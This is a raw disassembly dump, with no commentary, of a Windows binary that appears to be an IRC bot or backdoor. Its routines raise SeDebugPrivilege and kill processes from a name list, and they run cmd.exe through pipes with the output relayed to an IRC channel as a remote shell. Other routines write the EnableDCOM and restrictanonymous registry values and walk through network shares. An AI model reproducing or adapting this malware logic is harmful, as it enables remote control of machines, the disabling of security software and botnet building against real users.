sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset byte_4DB5E0 ; Dest call _sprintf pop ecx mov eax, offset byte_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419AE0(char *Source) sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp Dest = word ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h Source = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h ; MaxCount push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs add esp, 0Ch lea eax, [ebp+Source] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+Source], esi call ds:dword_4270C8 ; GetComputerNameA lea eax, [ebp+var_108] push esi ; MaxCount push eax ; Source lea eax, [ebp+var_318] push eax ; Dest call _mbstowcs lea eax, [ebp+Dest] push eax ; Str call _wcslen add esp, 10h shl eax, 1 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset byte_4DB3DC push offset asc_43A20C ; "-" push esi ; Dest call _sprintf pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+Dest] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset byte_4DB3DC push eax push offset asc_43A1E0 ; "-" push esi ; Dest call _sprintf add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_427104 ; GetCurrentProcess push eax call dword_4CB9B8 ; OpenProcessToken test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 ; LookupPrivilegeValueA test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 ; AdjustTokenPrivileges mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] call ds:dword_427070 ; CloseHandle mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419C09(int,char *Str,int,char *Str2,int,int) sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p ... Dest = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h Str1 = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 ; Process32First mov esi, ds:dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 ; Process32Next test eax, eax jz loc_419DF6 mov edi, ds:dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+Str1] push eax call ds:dword_42718C ; lstrcmpi test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe" jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax call ds:dword_4270FC ; TerminateProcess test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+Str2], eax jnz loc_419DC7 cmp [ebp+Str], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 ; Module32First push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+Str1] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+Dest] push offset aSD_0 ; " %s (%d)" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push 1 ; int push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 ; Process32Next test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi ; CloseHandle loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_4270FC ; TerminateProcess test eax, eax jnz short loc_419E33 push edi call esi ; CloseHandle jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o Dest = byte ptr -298h var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset asc_43A438 ; "-" rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+Dest] push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] ; int lea eax, [ebp+Str] push esi ; int push esi ; Str2 push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset asc_43A3F0 ; "-" loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_42708C ; OpenProcess mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi call ds:dword_4270FC ; TerminateProcess test eax, eax jnz short loc_419F48 push esi xor edi, edi call ds:dword_427070 ; CloseHandle loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419F4D proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo push esi xor esi, esi loc_419F50: ; CODE XREF: sub_419F4D+1Ej push 1 ; int push esi ; int push esi ; Str2 push esi ; int push esi ; Str push esi ; int call sub_419C09 add esp, 18h push dword_43A234 call ds:dword_427080 ; Sleep jmp short loc_419F50 sub_419F4D endp ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, ds:dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi ; CloseHandle loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi ; CloseHandle loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi ; CloseHandle loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419F9D(char *Str) sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p ; sub_416000+14Ap var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+Str] push dword_4DBC4C call ds:dword_4270F0 ; WriteFile test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419FD5(int,char *Str1,int) sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Str1 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h call ds:dword_427080 ; Sleep push [ebp+arg_8] lea eax, [ebp+Dest] push [ebp+Str1] push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r" push eax ; Dest call _sprintf add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+Dest] push offset aS_6 ; "%s" push eax ; Dest call _sprintf add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CBA24 ; send test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o Dst = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset byte_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+Dst] push esi push eax push dword_4DBC48 call ds:dword_427194 ; PeekNamedPipe test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 call ds:dword_427190 ; GetExitCodeProcess test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah call ds:dword_427080 ; Sleep jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+Dst], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+Dst] push eax push dword_4DBC48 call ds:dword_4270EC ; ReadFile test eax, eax jz short loc_41A18E lea eax, [ebp+Dst] push eax ; int push ebx ; Str1 push dword_4DBC88 ; int call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 ; int push ebx ; Str1 push dword_4DBC88 ; int call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 call ds:dword_4270D4 ; ExitThread loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 ; int push ebx ; Str1 push dword_4DBC88 ; int call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call ds:dword_4270D4 ; ExitThread loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 ; int push ebx ; Str1 push dword_4DBC88 ; int call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call ds:dword_4270D4 ; ExitThread sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp ; sub_416000+99p Dest = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h Dst = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_4CBA90 ; SearchPathA test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, ds:dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41A2AB mov edi, ds:dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_427100 ; DuplicateHandle test eax, eax jz short loc_41A2AB push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_74] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+Dst] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_427074 ; CreateProcessA test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, ds:dword_427070 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+Dst] mov dword_4DBC44, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx ; Format loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset byte_4DBC54 ; Dest call _sprintf pop ecx pop ecx push esi ; int push 0Ah ; int push offset asc_43A524 ; "-" call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi call ds:dword_427084 ; CreateThread cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset asc_43A4F0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 call ds:dword_4270D4 ; ExitThread sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p Dest = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset asc_43A7A0 ; "-" loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+Dest] push offset asc_43A770 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A4F1 lea eax, [ebp+Str] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov dword ptr [ebp+Str], 1 call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset asc_43A6EC ; "-" loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset asc_43A680 ; "-" loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+Dest] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+Str] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset asc_43A630 ; "-" loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+Dest] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset dword_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, dword ptr [ebp+Str] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi ; Str call _wcslen cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset asc_43A5E0 ; "-" loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push dword ptr [ebp+Str] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+Dest] push offset asc_43A5B8 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+Dest] push offset asc_43A588 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp Dest = byte ptr -220h var_20 